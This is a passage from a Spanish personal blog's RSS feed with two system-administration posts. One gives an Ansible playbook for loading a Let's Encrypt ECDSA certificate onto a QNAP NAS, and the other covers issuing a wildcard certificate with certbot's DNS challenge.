<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>#> fireroot</title><link>https://www.procamora.com/</link><description>Recent content on #> fireroot</description><generator>Hugo -- gohugo.io</generator><language>es</language><lastBuildDate>Thu, 06 Apr 2023 17:23:26 +0200</lastBuildDate><atom:link href="https://www.procamora.com/index.xml" rel="self" type="application/rss+xml"/><item><title>Qnap con certificado ECDSA</title><link>https://www.procamora.com/p/qnap_keys_ecdsa/</link><pubDate>Thu, 06 Apr 2023 17:23:26 +0200</pubDate><guid>https://www.procamora.com/p/qnap_keys_ecdsa/</guid><description>&lt;img src="https://www.procamora.com/covers/security.png" alt="Featured image of post Qnap con certificado ECDSA" />&lt;h2 id="introducción">Introducción&lt;/h2>
&lt;p>Actualmente, Let&amp;rsquo;s Encrypt genera los certificados usando el algoritmo ECDSA (Elliptic Curve Digital Signature Algorithm), en vez de usar RSA (Rivest, Shamir y Adleman).&lt;/p>
&lt;p>Esto genera un problema, ya que la interfaz web de QNAP no soporta ECDSA ni RSA con una clave superior a 2048 bits. Sin embargo, el servidor web sí que tiene la capacidad de utilizarlos.&lt;/p>
&lt;blockquote>
&lt;p>Pruebas realizadas en la versión de firmware: QTS 5.0.1.2346&lt;/p>
&lt;/blockquote>
&lt;h2 id="ansible">Ansible&lt;/h2>
&lt;p>Para poder usar nuestro certificado generado por Let&amp;rsquo;s Encrypt, tendremos que cargarlos manualmente. Esta acción la automatizaremos gracias a Ansible.&lt;/p>
&lt;p>Fichero &lt;code>inventory&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="n">all&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">vars&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ansible_ssh_common_args&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;-o StrictHostKeyChecking=no&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ansible_ssh_private_key_file&lt;/span>&lt;span class="o">=/&lt;/span>&lt;span class="n">Users&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">pablojoserocamora&lt;/span>&lt;span class="o">/.&lt;/span>&lt;span class="n">ssh&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">id_ed25519&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="n">test&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">qnap&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">procamora&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">com&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fichero &lt;code>main.yml&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;span class="lnt">37
&lt;/span>&lt;span class="lnt">38
&lt;/span>&lt;span class="lnt">39
&lt;/span>&lt;span class="lnt">40
&lt;/span>&lt;span class="lnt">41
&lt;/span>&lt;span class="lnt">42
&lt;/span>&lt;span class="lnt">43
&lt;/span>&lt;span class="lnt">44
&lt;/span>&lt;span class="lnt">45
&lt;/span>&lt;span class="lnt">46
&lt;/span>&lt;span class="lnt">47
&lt;/span>&lt;span class="lnt">48
&lt;/span>&lt;span class="lnt">49
&lt;/span>&lt;span class="lnt">50
&lt;/span>&lt;span class="lnt">51
&lt;/span>&lt;span class="lnt">52
&lt;/span>&lt;span class="lnt">53
&lt;/span>&lt;span class="lnt">54
&lt;/span>&lt;span class="lnt">55
&lt;/span>&lt;span class="lnt">56
&lt;/span>&lt;span class="lnt">57
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="nn">---&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c"># ansible-playbook -i inventory main.yml -v -K&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>- &lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">Playbook QNAP SSL&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">hosts&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">all&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">become&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">become_method&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">sudo&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">become_user&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">admin&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">gather_facts&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">vars&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ansible_user&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">procamora&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ansible_python_interpreter&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">/share/CACHEDEV1_DATA/.qpkg/Python3/python3/bin/python3&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">pre_tasks&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">set custom home&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ansible.builtin.set_fact&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">MY_HOME&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s2">&amp;#34;{{ lookup(&amp;#39;env&amp;#39;, &amp;#39;HOME&amp;#39;) }}/procamora.com/letsencrypt/live/procamora.com&amp;#34;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">tasks&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># 1) SSH into your NAS and go to /etc/stunnel/&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># 2) replace the backup.cert with your own certificate (PEM format, no human readable content)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># 3) replace backup.key with your own private key (PEM format, no human readable content)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># 5) replace uca.pem with your certificate chain (PEM format, no human readable content)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">Copy files&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ansible.builtin.copy&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">src&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s2">&amp;#34;{{ MY_HOME }}/{{ item.src }}&amp;#34;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">dest&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s2">&amp;#34;/etc/stunnel/{{ item.dest }}&amp;#34;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">mode&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">0600&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">owner&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">admin&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">group&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">administrators&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">backup&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">become&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">loop&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- {&lt;span class="w"> &lt;/span>&lt;span class="nt">src: cert.pem, dest&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">backup.cert }&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- {&lt;span class="w"> &lt;/span>&lt;span class="nt">src: privkey.pem, dest&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">backup.key }&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- {&lt;span class="w"> &lt;/span>&lt;span class="nt">src: chain.pem, dest&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">uca.pem }&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># 4) replace stunnel.pem with your private key+certificate (PEM format, no human readable content)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">create stunnel.pem (key+certificate)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ansible.builtin.copy&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">content&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s2">&amp;#34;{{ lookup(&amp;#39;file&amp;#39;, &amp;#39;{{ MY_HOME }}/privkey.pem&amp;#39;) }}\n{{ lookup(&amp;#39;file&amp;#39;, &amp;#39;{{ MY_HOME }}/cert.pem&amp;#39;) }}&amp;#34;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">dest&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">/etc/stunnel/stunnel.pem&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">mode&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">0600&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">owner&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">admin&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">group&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">administrators&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">backup&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">become&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># 6) execute /etc/init.d/thttpd.sh restart&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># 7) execute /etc/init.d/stunnel.sh restart&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># 8) execute /etc/init.d/Qthttpd.sh restart&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">restart services&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ansible.builtin.shell&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s2">&amp;#34;/etc/init.d/{{ item }} restart&amp;#34;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">become&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">loop&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">thttpd.sh&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">stunnel.sh&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">Qthttpd.sh&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Podemos ejecutar el playbook con el siguiente comando (-K lo usamos para indicar la contraseña de escalado a admin)&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">ansible-playbook -i inventory main.yml -v -K
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Los valores que pueden cambiar del playbook son:&lt;/p>
&lt;ul>
&lt;li>&lt;code>ansible_user: procamora&lt;/code>. Que es nuestro usuario de qnap.&lt;/li>
&lt;li>&lt;code>ansible_python_interpreter: /share/CACHEDEV1_DATA/.qpkg/Python3/python3/bin/python3&lt;/code>. Ruta del binario de python3 que necesita ansible.&lt;/li>
&lt;li>&lt;code>MY_HOME: &amp;quot;{{ lookup('env', 'HOME') }}/procamora.com/letsencrypt/live/procamora.com&amp;quot;&lt;/code>. Ruta donde letsencrypt ha generado el certificado.&lt;/li>
&lt;li>&lt;code>ansible_ssh_private_key_file=/Users/pablojoserocamora/.ssh/id_ed25519&lt;/code>. Ruta de nuestra clave privada para conectarnos por SSH.&lt;/li>
&lt;/ul>
&lt;h2 id="verificación">Verificación&lt;/h2>
&lt;p>Una vez ejecutado el playbook, podemos acceder con el navegador y verificar:&lt;/p>
&lt;ul>
&lt;li>El navegador considera que el certificado es válido.&lt;/li>
&lt;li>QNAP reconoce nuestro certificado generado con wilcard como válido.&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="https://www.procamora.com/images/2023/qnap_ecdsa.png"
loading="lazy"
alt="qnap_ecdsa"
>&lt;/p>
&lt;p>Fuentes: [0][fuente0]
[fuente0]: &lt;a class="link" href="https://forum.qnap.com/viewtopic.php?t=110557" target="_blank" rel="noopener"
>https://forum.qnap.com/viewtopic.php?t=110557&lt;/a>&lt;/p></description></item><item><title>Let's Encrypt Dns Wildcard</title><link>https://www.procamora.com/p/letsencrypt_dns_wildcard/</link><pubDate>Mon, 27 Mar 2023 08:57:32 +0200</pubDate><guid>https://www.procamora.com/p/letsencrypt_dns_wildcard/</guid><description>&lt;img src="https://www.procamora.com/covers/security.png" alt="Featured image of post Let's Encrypt Dns Wildcard" />&lt;p>En este post hablaremos de como generar un certificado SSL usando Let&amp;rsquo;s Encrypt con un Wildcard a un dominio y usando como reto DNS.&lt;/p>
&lt;p>Usaremos este tipo de configuración por dos motivos:&lt;/p>
&lt;ul>
&lt;li>Reto DNS: Debido a que en nuestro router no tenemos capacidad de abrir los puertos WEB necesarios por certbot (80 y 443).&lt;/li>
&lt;li>Wildcard: Debido a que tenemos control total en el dominio, lo que nos permitirá tener todos nuestros servicios con el mismo certificado y añadir la entrada TXT que requiere esta configuración.&lt;/li>
&lt;/ul>
&lt;h2 id="instalación">Instalación&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>Fedora: &lt;code>sudo dnf install certbot&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>MacOs: &lt;code>brew install certbot&lt;/code>&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Podemos encontrar el resto de documentación sobre instalación y uso en la &lt;a class="link" href="https://certbot.eff.org/instructions?ws=nginx&amp;amp;os=osx&amp;amp;tab=standard" target="_blank" rel="noopener"
>documentación oficial&lt;/a>.&lt;/p>
&lt;p>Los comandos ejecutados en este post se han realizado con la siguiente versión de certbot:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo certbot --version
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">certbot 2.4.0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="generación-del-certificado">Generación del certificado&lt;/h2>
&lt;p>El comando a ejecutar sería el siguiente:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo certbot certonly --manual --preferred-challenges&lt;span class="o">=&lt;/span>dns --email tu_correo_electronico --server https://acme-v02.api.letsencrypt.org/directory --agree-tos -d *.procamora.com
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>En el caso de que se quiera ejecutar sin ser root, se deben pasar estos parámetros:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">--config-dir=./config/ --work-dir=./work/ --logs-dir=./logs/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>En mi caso, al usar zsh el dominio debe de ir entrecomillado o fallará con el error:
zsh: no matches found: *.procamora.com&lt;/p>
&lt;/blockquote>
&lt;p>Este comando es interactivo y nos hará una serie de preguntas, una de ellas es que creemos un registro TXT en nuestro dominio, para verificar que somos los dueños de este. Esto lo realizamos con el servicio con el que tengamos comprado el dominio.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Please deploy a DNS TXT record under the name:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">_acme-challenge.procamora.com.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">with the following value:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">aRyhYI-l8bP_bGCC2tF20RuWLbepjZzshG8rIu3ABtM
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="https://www.procamora.com/images/2023/letsencrypt_dns_wildcard_dondominio.png"
loading="lazy"
alt="dondominio"
>&lt;/p>
&lt;p>Una vez creado, debería de propagarse el cambio en segundos o minutos, dependiendo de nuestro proveedor de DNS. Podemos verificar que se creó bien la entrada TXT con cualquiera de los siguientes comandos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">dig -t txt +short _acme-challenge.procamora.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">host -t txt _acme-challenge.procamora.com
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si todo ha ido bien, se crearán los certificados en las siguientes rutas (las proporciona el script, pueden cambiar dependiendo del sistema).&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
